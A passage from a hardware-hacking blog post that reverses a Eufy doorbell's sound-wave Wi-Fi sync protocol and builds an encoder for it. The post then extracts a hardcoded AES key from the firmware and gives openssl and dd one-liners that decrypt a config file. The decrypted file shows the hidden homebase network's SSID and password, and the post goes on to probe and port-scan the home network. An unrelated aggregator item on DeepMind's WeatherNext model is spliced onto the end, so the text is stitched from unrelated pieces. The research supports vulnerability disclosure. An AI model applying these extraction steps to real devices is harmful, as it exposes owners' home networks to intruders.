  FUN_000baaf8(pvVar2,uVar4,param_2,1,0x10,iVar5,iVar5 - iVar1 / 2);
  return;
}

It scales from 1024 samples at 44.1 kHz: 1024 / 44100 = 23.22 ms. The half-window advance is 512 / 44100 = 11.61 ms. That’s what the firmware does… but because I had no idea it would affect the analysis when I recoreded the sync audio… so my WAV is 32K. This means that to keep the same timing, our window will be composed by 743 samples (32000 samples/s x 0.02322 s) and the half-window advance would be 372. Using this window advance of 11.61ms I was able to capture a symbol every 6 advances (so 6 x 11.62), I estimated that setting 69.75ms as symbol duration would work (and it worked).

If we plot the strongest frequency (“tone”) (and numerate them from 1 to 19) we can see how patterns clearly emerge:

Tones vs Time

Tones vs Time

The tone at position “1” seems to be a marker that split the information blocks of sime size (15 symbols), except the last one that seems like a “shortened” block (4 symbols). This “grouping” of symbols in “blocks” of 15 symols size happens at FUN_000c2624. I did not understood what this function did (as I said my knowledge of maths and telecom is close to null), so I had to ask ChatGPT for guidance. Here is the description it gave to me:

FUN_000c2624 predicts where each tone symbol should occur, evaluates all 19 frequencies around those positions, and retains the best temporally consistent candidates. It groups these candidates into a block for later processing.

The next step in the pipeline is the transformation of the recognized tones to nibbles. Function FUN_000b7160 is where all the magic happens. The mapping is simple:

if (uVar5 != 0x12) {
    uVar1 = uVar5 - 1 & 0xff;
}

uVar13 = uVar1;
if (0xe < uVar1) {
    uVar13 = 0xf;
}

The physical tone that we labeled as “1” in the plot previously shown is a “marker/guard” to split the blocks, so the tone to nibble conversion starts at our tone number 2 (our tone number 2 is interpreted as “event 1” -what uVar5 holds- because the array starts at 0 and I numbered the tones starting by 1 -off-by-one by stupidity-). So tones 2 to 17 maps nibles 0 to F. That covers the tones from 1 to 17, but what happens with 18 and 19?

Well, from the analysis of this function we can infer they are used as “control” tones to indicate repetitions. I guess this is because if the Homebase needs to send the same tone two or more times (e.g. to encode 1-1-1) it would be difficult to be sure about if it was 2 or 3 tones (real world has more noise than a synthetic test or lab). The following table summarizes the findings:

Tones meaning based on firmware analysis

Tones meaning based on firmware analysis

With this information we can recover all the nibbles shared by the Homestation. Literally you can recover them by hand just improving the data representation of the first image (the plot of tones vs time) and writing in paper the tone sequence.

Manual decoding

Manual decoding of first block (I ignore tone 10 because is used as marker too when starting)

After automatizing this process with python, here are the three blocks recovered from the audio:

Automatic decoding

Information decoded from each block

When decoding the tones to nibbles I found that the last two nibbles where used by FUN_000bcd4, which is a function that I did not understood. Once again, I asked to ChatGPT to explain me what the function was about:

FUN_000bcd48 performs Reed-Solomon processing on one 15-nibble block: it calculates two GF(16) parity syndromes, accepts the block unchanged when both are zero, or attempts to identify and correct one erroneous nibble when they are nonzero. In simple terms, it uses the block’s two parity nibbles to repair a single incorrectly recognized tone before the data proceeds to CRC validation.

So it was Reed-Solomon, meaning that the last two nibbles does not carry information per se (they are used just to correct errors):

Full block meaning

Full block meaning

The shortened block is CRC-16 (it is validated at FUN_000b7104 using FUN_000c4370):

bool FUN_000b7104(int param_1,int param_2)

{
  uint uVar1;
  int iVar2;
  
  uVar1 = FUN_000c4370(param_1,param_2 - 4U & 0xffff);
  iVar2 = param_1 + (param_2 + 0x3ffffffc) * 4;
  return (*(uint *)(iVar2 + 0xc) & 0xf |
          (*(uint *)(param_1 + (param_2 + 0x3ffffffc) * 4) & 0xf) << 0xc |
          (*(uint *)(iVar2 + 4) & 0xf) << 8 | (*(uint *)(iVar2 + 8) & 0xf) << 4) == uVar1;
}




uint FUN_000c4370(int param_1,int param_2)

{
  uint uVar1;
  uint *puVar2;
  
  if (param_2 != 0) {
    puVar2 = (uint *)(param_1 + -4);
    uVar1 = 0xffff;
    do {
      puVar2 = puVar2 + 1;
      uVar1 = ((uint)*(ushort *)(&DAT_00235e90 + (*puVar2 & 0xff ^ uVar1 >> 8) * 2) ^ uVar1 << 8) &
              0xffff;
    } while ((uint *)(param_1 + (param_2 - 1U & 0xffff) * 4) != puVar2);
    return uVar1;
  }
  return 0xffff;
}

At this point I had a clear picture of what was usable data and what was added data to correct errors / ensure the correct tone-to-nibble conversion. Instead of still digging on the conversion pipeline I decided to open my zoom and try to search where the SSID and password could be used (yep, I just searched for strings) and found this gem where the data is used to format a json with “s” and “p” that made me think it could be probably “sssid” and “password”:

void FUN_000b4e18(undefined4 param_1,int param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 uVar1;
  int iVar2;
  undefined1 auStack_94 [40];
  undefined1 auStack_6c [88];
  
  if (param_2 != 0) {
    param_4 = 2;
  }
  _DAT_0029a15c = 0;
  uVar1 = param_4;
  if ((param_2 == 0) && (iVar2 = FUN_000b642c(param_3,param_4), uVar1 = _DAT_0029a15c, iVar2 != 2))
  {
    if (iVar2 == 1) {
      FUN_000b6514(0,param_3,param_4,auStack_94);
      if ((char *)DAT_0029a154 != (char *)0x0) {
        snprintf((char *)DAT_0029a154,0xff,"{\"s\": \"%s\", \"p\":\"%s\"}",auStack_94,auStack_6c);
      }
      _DAT_0029a15c = 1;
      uVar1 = _DAT_0029a15c;
      DAT_0029a160 = (char *)DAT_0029a154;
    }
    else if (iVar2 != 3 && iVar2 != 0) {
      printf("------------------recognized data:%s\n",param_3);
      uVar1 = _DAT_0029a15c;
    }
  }
  _DAT_0029a15c = uVar1;
  if (DAT_0029a150 != (code *)0x0) {
    (*DAT_0029a150)(&DAT_0029a15c);
  }
  return;
}

Function FUN_000b642c returns first_nibble >> 1, if it is “1” (as seen in if (iVar2 == 1)) then it determines the encoded data is “wifi” type. If that’s the case, then FUN_000b6514 is called:

undefined4 FUN_000b6514(undefined4 param_1,undefined1 *param_2,int param_3,int param_4)

{
  uint uVar1;
  uint uVar2;
  int iVar3;
  int iVar4;
  int local_24 [2];
  
  uVar1 = FUN_000c43d0(*param_2);
  uVar2 = FUN_000c43d0(param_2[1]);
  local_24[0] = 0;
  iVar3 = FUN_000c43d0(*param_2);
  if (iVar3 >> 1 != 1) {
                    /* WARNING: Subroutine does not return */
    __assert("vr_decodeInfoType(_data, _dataLen) == IT_SSID_WIFI",
             "/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1ef);
  }
  iVar4 = ((uVar1 & 1) << 4 | uVar2) + 1;
  iVar3 = FUN_000b5e88(param_2 + 2,param_3 + -2,local_24,param_4,iVar4,0x21);
  if (iVar4 == iVar3) {
    *(undefined1 *)(param_4 + iVar4) = 0;
    *(int *)(param_4 + 0x24) = iVar4;
    iVar3 = FUN_000b5e88(param_2 + local_24[0] + 2,param_3 - (local_24[0] + 2),local_24,
                         param_4 + 0x28,0xffffffff,0x50);
    *(undefined1 *)(param_4 + iVar3 + 0x28) = 0;
    *(int *)(param_4 + 0x78) = iVar3;
    return 1;
  }
                    /* WARNING: Subroutine does not return */
  __assert("dataLen == ssidLen","/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1f1);
}

Which roughly can be translated to:

bool decodeWifiSSID(
    Context *ctx,
    uint8_t *data,
    int dataLen,
    WifiInfo *out)
{
    uint8_t header0 = decodeNibble(data[0]);
    uint8_t header1 = decodeNibble(data[1]);

    int consumed = 0;

    // Packet must be of type SSID_WIFI
    assert((decodeNibble(data[0]) >> 1) == IT_SSID_WIFI);

    // SSID length is encoded in first two bytes
    int ssidLen = (((header0 & 1) << 4) | header1) + 1;

    // Decode SSID
    int decoded =
        decodePayload(
            data + 2,
            dataLen - 2,
            &consumed,
            out,
            ssidLen,
            0x21);

    assert(decoded == ssidLen);

    out->ssid[ssidLen] = '\0';
    out->ssidLength = ssidLen;

    // Decode password
    int passLen =
        decodePayload(
            data + consumed + 2,
            dataLen - (consumed + 2),
            &consumed,
            out->password,
            -1,
            0x50);

    out->password[passLen] = '\0';
    out->passwordLength = passLen;

    return true;
}

Ding ding ding! Jackpot!! So this function decode (with the help of FUN_000b5e88 that I called decodePayload in the pseudo-code and I avoid to paste here because is too big) the SSID and the password. Gluing all together the full message:

Full decoded data

Full decoded data

  • SSID: 731f1350
  • Password: 267039eb

So, the data transmited by the homebase was not the OCEAN_XXXXXX hidden wifi credentials, it was data created ad-hoc for a temporal hotspot where the doorbell tries to connect once it decodes the audio. Probably when the doorbell connects to this wifi, the homebase sends the real OCEAN_XXXXXX data out-of-band using TCP or UDP. Anyway, there is only a way to validate if my decoding is working or not: building the inverse (an “encoder”) and create a wifi to see if the doorbell connects to it after parsing my synthetic audio.

First I create in the Raspberry Pi a new AP with arbitrary data:

psyconauta@insulafructuum-i:~ $ sudo cat /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=a1b2c3d4
hw_mode=g
channel=6

ieee80211n=1
wmm_enabled=1

auth_algs=1
wpa=2
wpa_passphrase=4d3c2b1a
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP


logger_stdout=-1
logger_stdout_level=0
logger_syslog=-1
logger_syslog_level=0

Then I encoded the Raspberry Pi wifi data:

psyconauta@insulafructuum-i:~ $ python3 audio_wave_encoder.py "a1b2c3d4" "4d3c2b1a" message.wav
payload: 276613162326333643463464336332623161
crc: 72f3
blocks: 27661316232631b 3364346346433b4 633262316172f9f 3c2
tones: 10 1 4 9 8 18 3 5 3 8 4 5 4 8 5 3 13 1 5 18 8 6 5 6 8 5 6 8 6 5 18 13 6 1 8 5 18 4 8 4 5 3 8 3 9 4 17 11 17 1 5 14 4 1
wrote: message.wav


(testing with the decoder that the info is correct)

psyconauta@insulafructuum-i:~ $ python3 audio_wave_decoder.py message.wav 
{
  "type": 1,
  "raw_hex": "276613162326333643463464336332623161",
  "kind": "wifi",
  "ssid": "a1b2c3d4",
  "password": "4d3c2b1a",
  "consumed_nibbles": 36,
  "rs_corrected_blocks": 0
}

The resulting audio can be heard here:

I played it using my mobile near to the doorbell after pressing the “sync” button for two seconds and it immediately sent probe requests from the doorbell asking for my wifi :D:

Probe request

Doorbell trying to connect to my wifi a1b2c3d4

And a few moments later I got the full connection:

psyconauta@insulafructuum-i:~ $ sudo iw dev wlan0 station dump
Station 90:bf:d9:9f:97:fa (on wlan0)
	inactive time:	0 ms
	rx bytes:	10340
	rx packets:	116
	tx bytes:	12995
	tx packets:	175
	tx failed:	0
	tx bitrate:	1.0 MBit/s
	rx bitrate:	26.0 MBit/s
	authorized:	yes
	authenticated:	yes
	associated:	yes
	WMM/WME:	yes
	TDLS peer:	no
	DTIM period:	2
	beacon interval:100
	short slot time:yes
	connected time:	72 seconds
	current time:	1785233886535 ms

It used a static IP (192.168.32.250):

psyconauta@insulafructuum-i:~ $ sudo tcpdump -i wlan0 -n -e ether host 90:bf:d9:9f:97:fa
tcpdump: verbose output suppressed, use -v[v] or less
listening on wlan0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
12:32:15.319733 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v2, len 95
12:32:15.344634 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL key (3) v1, len 117
12:32:15.346593 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 169: EAPOL key (3) v2, len 151
12:32:15.365989 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v1, len 95
12:32:15.394131 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.250, length 28
12:32:15.396167 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.2 tell 192.168.32.250, length 28
12:32:15.396217 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Reply 192.168.32.2 is-at b8:27:eb:be:95:f3, length 28
12:32:15.405804 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype IPv4 (0x0800), length 58: 192.168.32.250.63122 > 192.168.32.2.10402: Flags [S], seq 1860381, win 29200, options [mss 1460], length 0
12:32:15.405916 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype IPv4 (0x0800), length 54: 192.168.32.2.10402 > 192.168.32.250.63122: Flags [R.], seq 0, ack 1860382, win 0, length 0
12:32:20.470710 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.2, length 28
12:32:21.482798 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype ARP (0x0806), length 42: Reply 192.168.32.250 is-at 90:bf:d9:9f:97:fa, length 28

Although having the doorbell conected to us is not something interesting per se, I enjoyed the process of reversing the soundwave sync protocol used by Eufy. I learned a lot of stuff \o/

0x04 Extracting and decrypting OCEAN_XXXXXX creds from flash memory

When I dumped the flash memory the doorbell was previously synced with my homebase, so I knew it contained somewhere the hidden network credentials. But unfortunately I could not find any reference searching for the string “OCEAN” which was odd. To paraphrase vx-underground I started again to poke with a stick the ELF I analyzed to see if this config was used at some point. After searching for keywords I ended on this function:

undefined4 FUN_0001f8ac(int param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  bool bVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  size_t __n;
  int iVar5;
  
  FUN_0001a80c(1,"save parameter.",param_3,param_4,param_1,param_2);
  iVar2 = open((char *)(param_1 + 0x517a),0x41,0x1a4);
  if (iVar2 < 0) {
    FUN_0001a80c(3,"writeConfig can\'t open config file(%s).",(char *)(param_1 + 0x517a));
    iVar2 = open((char *)(param_1 + 0x81d30),0x41,0x1a4);
    if (iVar2 < 0) goto LAB_0001f918;
    bVar1 = true;
  }
  else {
    bVar1 = false;
  }
  iVar5 = param_1 + 0x5894;
  iVar3 = FUN_0003b604(param_1 + 0x540f,iVar5);
  if (iVar3 < 0) {
    FUN_0001a80c(3,"writeConfig setEncryptkey Fail");
    FUN_0001a80c(3,"write parameter fail");
    printf("write parameter fail");
    close(iVar2);
    return 0;
  }
  memset(&DAT_002cb989,0,0xc01);
  iVar3 = FUN_0001e330(iVar5,param_1 + 0x5046,0xa6,&DAT_002cb98b);
  __n = iVar3 + 2;
  DAT_002cb989 = (undefined2)iVar3;
  sVar4 = write(iVar2,&DAT_002cb989,__n);
  if (__n == sVar4) {
    FUN_0001a80c(2,"write parameter succ (%d)(%d)",__n,0xa6);
    printf("write parameter succ (%d)(%d)",__n,0xa6);
  }
  else {
    FUN_0001a80c(3,"write config file fail.(%d)(%d)",sVar4,__n);
  }
  fsync(iVar2);
  close(iVar2);
  sync();
  if (!bVar1) {
    iVar2 = open((char *)(param_1 + 0x81d30),0x41,0x1a4);
    if (iVar2 < 0) {
LAB_0001f918:
      FUN_0001a80c(3,"writeConfig can\'t open config bak file(%s).",param_1 + 0x81d30);
      return 0;
    }
    memset(&DAT_002cb989,0,0xc01);
    iVar3 = FUN_0001e330(iVar5,param_1 + 0x5046,0xa6,&DAT_002cb98b);
    __n = iVar3 + 2;
    DAT_002cb989 = (undefined2)iVar3;
    sVar4 = write(iVar2,&DAT_002cb989,__n);
    if (__n == sVar4) {
      FUN_0001a80c(2,"write parameter bak succ (%d)(%d)",__n,0xa6);
      printf("write parameter bak succ (%d)(%d)",__n,0xa6);
    }
    else {
      FUN_0001a80c(3,"write config bak file fail.(%d)(%d)",sVar4,__n);
    }
    fsync(iVar2);
    close(iVar2);
    sync();
  }
  if (*(code **)(param_1 + 0x5acc) != (code *)0x0) {
    (**(code **)(param_1 + 0x5acc))(0x6d,&DAT_002cb989,0,0,__n);
  }
  return 1;
}

if FUN_0003b604 returns something below 0 it logs a error message indicating setEncryptKey Fail

int FUN_0003b604(char *param_1,undefined4 param_2)

{
  size_t sVar1;
  int iVar2;
  
  sVar1 = strlen(param_1);
  if (sVar1 == 0x10) {
    iVar2 = FUN_0012f748(param_2,param_1,0x80);
    if (-1 < iVar2) {
      return iVar2;
    }
    FUN_0001a80c(1,"set_encrypt_key fail \n");
  }
  else {
    FUN_0001a80c(1,"KEY len err! %d ",sVar1);
  }
  return -1;
}

That 0x80 it’s a good clue that FUN_0012f748 it’s gonna be AES-128 but just in case I copied the function content to ChatGPT and it confirmed my hypothesis:

FUN_0012f748 creates an AES encryption key schedule from a supplied 128-, 192-, or 256-bit key: it validates the key size, records the corresponding number of AES rounds, copies the original key words, and expands them into all round keys using AES substitutions and round constants.

Pulling more this thread I found the function in charge of build the key:

void FUN_0001e184(int param_1)

{
  size_t sVar1;
  undefined4 uVar2;
  char *pcVar3;
  char *pcVar4;
  undefined4 *puVar5;
  undefined4 local_4c [16];
  undefined1 local_c;
  
  puVar5 = local_4c;
  local_c = 0;
  pcVar4 = "abcdefghijklmnopqrstuvwxyz0123456789~_ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  do {
    pcVar3 = pcVar4 + 8;
    uVar2 = *(undefined4 *)(pcVar4 + 4);
    *puVar5 = *(undefined4 *)pcVar4;
    puVar5[1] = uVar2;
    puVar5 = puVar5 + 2;
    pcVar4 = pcVar3;
  } while (pcVar3 != "");
  FUN_0001d17c(local_4c);
  pcVar4 = (char *)(param_1 + 0x540f);
  pcVar4[0] = '\0';
  pcVar4[1] = '\0';
  pcVar4[2] = '\0';
  pcVar4[3] = '\0';
  *(undefined4 *)(param_1 + 0x5413) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x4);
  *(undefined4 *)(param_1 + 0x5417) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0xc);
  *(undefined4 *)(param_1 + 0x5418) = 0;
  *(undefined4 *)(param_1 + 0x541c) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x4);
  FUN_0001deb8(local_4c,pcVar4);
  sVar1 = strlen(pcVar4);
  FUN_0001a80c(1,"getKeyC(%d)",sVar1);
  return;
}

The long string abc…XYZ (64 bytes) is passed to FUN_0001d17c which applies a classic XOR with a repeating group of three bytes (0x01, 0x04, 0x06).

char * FUN_0001d17c(char *param_1,undefined4 param_2,undefined4 param_3)

{
  size_t sVar1;
  int extraout_r1;
  uint uVar2;
  undefined3 local_14;
  undefined1 uStack_11;
  undefined4 uStack_10;
  
  _local_14 = CONCAT13((char)((uint)param_2 >> 0x18),0x60401);
  uStack_10 = param_3;
  for (uVar2 = 0; sVar1 = strlen(param_1), uVar2 < sVar1; uVar2 = uVar2 + 1) {
    FUN_00213228(uVar2,3);
    param_1[uVar2] = *(byte *)((int)&local_14 + extraout_r1) ^ param_1[uVar2];
  }
  return param_1;
}

Then the resulting 65-byte string (64 byte xored with pattern + 1 null byte) is passed to FUN_0001deb8, which we can infer is doing a MD5 hash based on the constants. Although it just returns 8 bytes (16 hex chars):

void FUN_0001deb8(undefined4 param_1,char *param_2)

{
  byte *pbVar1;
  char *__s;
  char *pcVar2;
  byte abStack_80 [16];
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 local_60;
  undefined4 uStack_5c;
  
  local_70 = 0;
  local_68 = 0x67452301;
  uStack_64 = 0xefcdab89;
  local_6c = 0;
  local_60 = 0x98badcfe;
  uStack_5c = 0x10325476;
  FUN_0001dda4(&local_70,param_1,0x41);
  FUN_0001de4c(&local_70,abStack_80);
  pbVar1 = abStack_80;
  __s = param_2;
  do {
    pcVar2 = __s + 2;
    sprintf(__s,"%02X",(uint)*pbVar1);
    pbVar1 = pbVar1 + 1;
    __s = pcVar2;
  } while (pcVar2 != param_2 + 0x10);
  param_2[0x10] = '\0';
  return;
}

This gives us the string used as key to encrypt/decrypt the configutation file: C0C714B43806EF49 => 43304337313442343338303645463439. It’s derived from hardcoded data, so it should be the same between devices.

The encrypted file (called es_config) was in my case the following:

=> xxd es_config
00000000: b000 b622 0971 cee1 c1b5 0ecc d749 4e58  ...".q.......INX
00000010: e11d 1f8d 6769 ed50 9f19 fb1e eaf7 c33b  ....gi.P.......;
00000020: 5463 9269 fdde 70cc bf18 71a0 19df c33a  Tc.i..p...q....:
00000030: ed48 6c31 061a efa9 68de c7e2 eb93 b00a  .Hl1....h.......
00000040: 39be 83ce ecf6 0158 6717 4a08 a8eb 249e  9......Xg.J...$.
00000050: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e  3......Xg.J...$.
00000060: 33af 22e3 f819 b5f1 e581 a605 83ff e623  3."............#
00000070: 6a1a 45ee 48c1 e43a 1719 1c24 8bf9 0657  j.E.H..:...$...W
00000080: 611b 952e 365a 740a 6f0e 3692 39b8 2490  a...6Zt.o.6.9.$.
00000090: 516a 83ce ecf6 0158 6717 4a08 a8eb 249e  Qj.....Xg.J...$.
000000a0: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e  3......Xg.J...$.
000000b0: 33af                                     3.

And after decrypting it we can see our OCEAN_XXXXXX SSID and its password:

=> tail -c +3 es_config | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 |xxd
00000000: 5354 5344 4b00 0000 0100 4f43 4541 4e5f  STSDK.....OCEAN_
00000010: 4539 4135 4643 0000 0000 0000 0000 0000  E9A5FC..........
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 4631 5653 5866  ..........F1VSXf
00000040: 4e51 4c5f 5a43 6433 6b00 0000 0000 0000  NQL_ZCd3k.......
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 c0a8 2005 0000  ............ ...
00000070: 0001 0203 0405 0607 0809 0a0b 0c0d 0e0f  ................
00000080: 0000 0004 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Instead of carving and extracting all the files in the firmware, once I identified the existence of this es_config encrypted file I “semi” automatized its extraction. First we extract the mtdparts variables used by U-Boot from the flash dump:

=> firmware_doorbell.bin|grep mtdparts
Imtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
mtdparts
mtdparts=
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)

Then we copy the content after “=” and use this one-liner to extract the filesystem into /tmp/user.bin:

mtdparts='sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)'; part=user; eval $(echo "$mtdparts" | awk -v p="$part" 'function cv(x){if(x~/K$/)return substr(x,1,length(x)-1)*1024;if(x~/M$/)return substr(x,1,length(x)-1)*1048576;if(x~/G$/)return substr(x,1,length(x)-1)*1073741824;return x}{split($0,a,":");n=split(a[2],b,",");o=0;for(i=1;i<=n;i++){split(b[i],c,"[()]");split(c[1],d,"@");s=cv(d[1]);if(d[2])o=cv(d[2]);if(c[2]==p){print "skip="o" count="s;exit}o+=s}}'); dd if=firmware_doorbell.bin of=/tmp/$part.bin bs=1 skip=$skip count=$count
=> file /tmp/user.bin
/tmp/user.bin: Linux jffs2 filesystem data little endian

Finaly just use jffs2reader to extract the config file (and decrypt it).

=> jffs2reader /tmp/user.bin -f /es_config | tail -c +3 | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 |xxd
00000000: 5354 5344 4b00 0000 0100 4f43 4541 4e5f  STSDK.....OCEAN_
00000010: 4539 4135 4643 0000 0000 0000 0000 0000  E9A5FC..........
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 4631 5653 5866  ..........F1VSXf
00000040: 4e51 4c5f 5a43 6433 6b00 0000 0000 0000  NQL_ZCd3k.......
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 c0a8 2005 0000  ............ ...
00000070: 4242 4242 3346 3138 3746 3343 3631 3537  BBBB3F187F3C6157
00000080: 0000 0006 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0100 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

If someone has access to a doorbell, and nothing alerted the owner because it was jammed as we shown before, in 5 minutes can manipulate it to dump its flash memory and extract the hidden network credentials. Or well, just steal it and dump it at home. As I explained at the begining of this journey, the homebase network is not isolated. If you connect to this wifi you can browser internet using the home network and also you can reach other devices (like the router) in the home network:

=> iwconfig
lo        no wireless extensions.

eno1      no wireless extensions.

wlp1s0    IEEE 802.11  ESSID:"OCEAN_E9A5FC"  
          Mode:Managed  Frequency:2.437 GHz  Access Point: 90:BF:D9:E9:A5:FC   
          Bit Rate=130 Mb/s   Tx-Power=22 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=67/70  Signal level=-43 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

virbr0    no wireless extensions.

tailscale0  no wireless extensions.

docker0   no wireless extensions.
3: wlp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 18:26:49:11:82:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.32.100/24 brd 192.168.32.255 scope global dynamic noprefixroute wlp1s0
       valid_lft 86368sec preferred_lft 86368sec
    inet6 fe80::8339:84a3:5f01:ad64/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
=> ping google.es
PING google.es (216.58.204.195) 56(84) bytes of data.
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=1 ttl=117 time=37.7 ms
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=2 ttl=117 time=42.5 ms
^C
--- google.es ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 37.683/40.087/42.492/2.404 ms

Some testing devices/platforms I could reach that are deployed at the same router than the Homebase:

=> curl -I 192.168.90.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=20
ETag: "18c-1ef-5687f92e"
Last-Modified: Sat, 02 Jan 2016 16:22:06 GMT
Date: Tue, 28 Jul 2026 20:13:45 GMT
Content-Type: text/html
Content-Length: 495
=> curl -I 192.168.51.151
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 28 Jul 2026 20:14:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache
Content-Security-Policy: 
Location: http://192.168.1.201/users/sign_in
Nel: {"max_age": 0}
Permissions-Policy: interest-cohort=()
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Gitlab-Meta: {"correlation_id":"01KYN5SXMW6YDPK131DD9G3X88","version":"1"}
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01KYN5SXMW6YDPK131DD9G3X88
X-Runtime: 0.040059
X-Ua-Compatible: IE=edge
X-Xss-Protection: 0
Strict-Transport-Security: max-age=63072000
Referrer-Policy: strict-origin-when-cross-origin

Of course this Wifi allows to interact with network services exposed by the Homebase itself… although I’ll research more this side once I can dump the firmware }:P

Not shown: 65341 closed tcp ports (conn-refused)
PORT      STATE SERVICE     REASON  VERSION
53/tcp    open  domain      syn-ack dnsmasq 2.90
554/tcp   open  rtsp        syn-ack
9000/tcp  open  cslistener? syn-ack
10400/tcp open  unknown     syn-ack
10402/tcp open  unknown     syn-ack
10404/tcp open  unknown     syn-ack
10600/tcp open  tcpwrapped  syn-ack
20030/tcp open  unknown     syn-ack
20031/tcp open  unknown     syn-ack
32290/tcp open  tcpwrapped  syn-ack
32292/tcp open  tcpwrapped  syn-ack
32293/tcp open  unknown     syn-ack
32295/tcp open  unknown     syn-ack
32392/tcp open  tcpwrapped  syn-ack
43928/tcp open  unknown     syn-ack

0x05 Final words

It has been two years since I last wrote on this blog. During that time, I’ve done some research, but it was always related to my work as a Red Teamer (and, honestly, it had become increasingly dismal). Being able to rediscover the feeling of “hacking” something just for fun, and spending hours researching purely for the joy of learning, has been amazing. I’ve reconnected with my old inner owl.

I hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

The Daily Front Page 6 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Forecasting the Storm
article

DeepMind's WeatherNext model achieves breakthrough forecasting cyclones

by bhavansig·▲ 406 points·122 comments·deepmind.google ↗
WeatherNext enables accurate cyclone forecasts that can give an extra day of warning.

Stylized map showing a forecasted cyclone track over the southeastern United States, with concentric yellow and orange circles indicating storm path and intensity.

WeatherNext enables accurate cyclone forecasts that can give an extra day of warning. Now we are open sourcing the model.

Predicting how dangerous cyclones develop is a longstanding challenge where every hour counts. Tropical cyclones — also known as hurricanes or typhoons — are among the most destructive weather phenomena on Earth, responsible for more than 700,000 deaths and $1.4 trillion in economic losses globally over the past 50 years. For forecasters, issuing timely, accurate warnings is a constant race against time.

Today, in a paper published in Nature, we show that our WeatherNext AI model achieved state-of-the-art accuracy in predicting a cyclone's track, intensity, and wind structure. On average, our model gives forecasters an extra day’s worth of predictive accuracy: our three-day forecasts are as good as what prior models were able to provide for only the next two days. This scale of improvement corresponds roughly to a decade’s worth of meteorological progress.

